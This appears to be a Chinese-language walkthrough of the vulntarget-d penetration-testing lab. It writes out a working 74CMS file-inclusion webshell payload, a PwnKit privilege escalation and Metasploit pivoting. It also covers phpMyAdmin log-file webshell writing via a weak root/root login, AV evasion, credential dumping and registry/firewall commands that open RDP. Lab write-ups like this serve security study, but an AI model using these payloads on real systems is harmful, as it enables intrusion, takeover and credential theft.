**拓扑图：**IP信息根据本地搭建环境自行配置改变，Ubuntu需要更改静态IP

官方WP：vulntarget漏洞靶场系列（四）— vulntarget-d

二、使用到的工具、漏洞或技术：

工具：
Viper、nmap
漏洞或技术：
骑士cms相关漏洞、隧道代理、免杀

三、步骤：

通过端口扫描工具，查找靶机IP及端口信息，此处靶机的IP为192.168.0.108，直接扫描靶机IP信息

访问各个端口，发现 81 端口存在骑士CMS：

此处存在文件包含GetShell漏洞，操作如下：
- 访问URL，发送POST请求：

URL：http://192.168.0.108:81/index.php?m=home&a=assign_resume_tpl
请求数据：

variable=1&tpl=<?php fputs(fopen("test.php","w"),"<?php phpinfo();eval(\$_REQUEST['test']);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

发送成功后，再发送POST请求：

URL：http://192.168.0.108:81/index.php?m=home&a=assign_resume_tpl
请求数据：

variable=1&tpl=data/Runtime/Logs/Home/aa_bb_cc.log
#aa_bb_cc.log			2023年1月1日，则修改为：23_01_01.log

生成的Shell地址为：http://192.168.0.108:81/test.php

Viper开启监听，生成 .elf 文件并上传执行：

此时为低权限，进行提权操作：

此处使用： exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 提权：

添加路由，进行内网探测，使用 auxiliary/scanner/portscan/tcp 扫描：

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


View the full module info with the info, or info -d command.

配置代理，访问发现的内网 80 端口没有什么信息，使用工具进行目录扫描：

访问 phpMyadmin ，弱口令： root/root :

使用phpMyadmin修改日志路径getshell：

SELECT @@datadir;			#获取路径信息
SHOW  VARIABLES  LIKE  '%general%';			#查看日志状态
set global general_log=on;			#将 general_log 设置为on
set global general_log_file='C:/phpstudy/PHPTutorial/www/test.php';			#修改log文件的名称和位置
SELECT 'Shell内容'			#随便select一个Shell内容

蚁剑配置代理连接Shell：

Viper设置代理转发上线，生成的后门程序需要免杀：

Viper查看，此处直接使用 getsystem 提权：

获取密码信息，获得明文账号信息： crow/admin ：

开启远程登录：

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
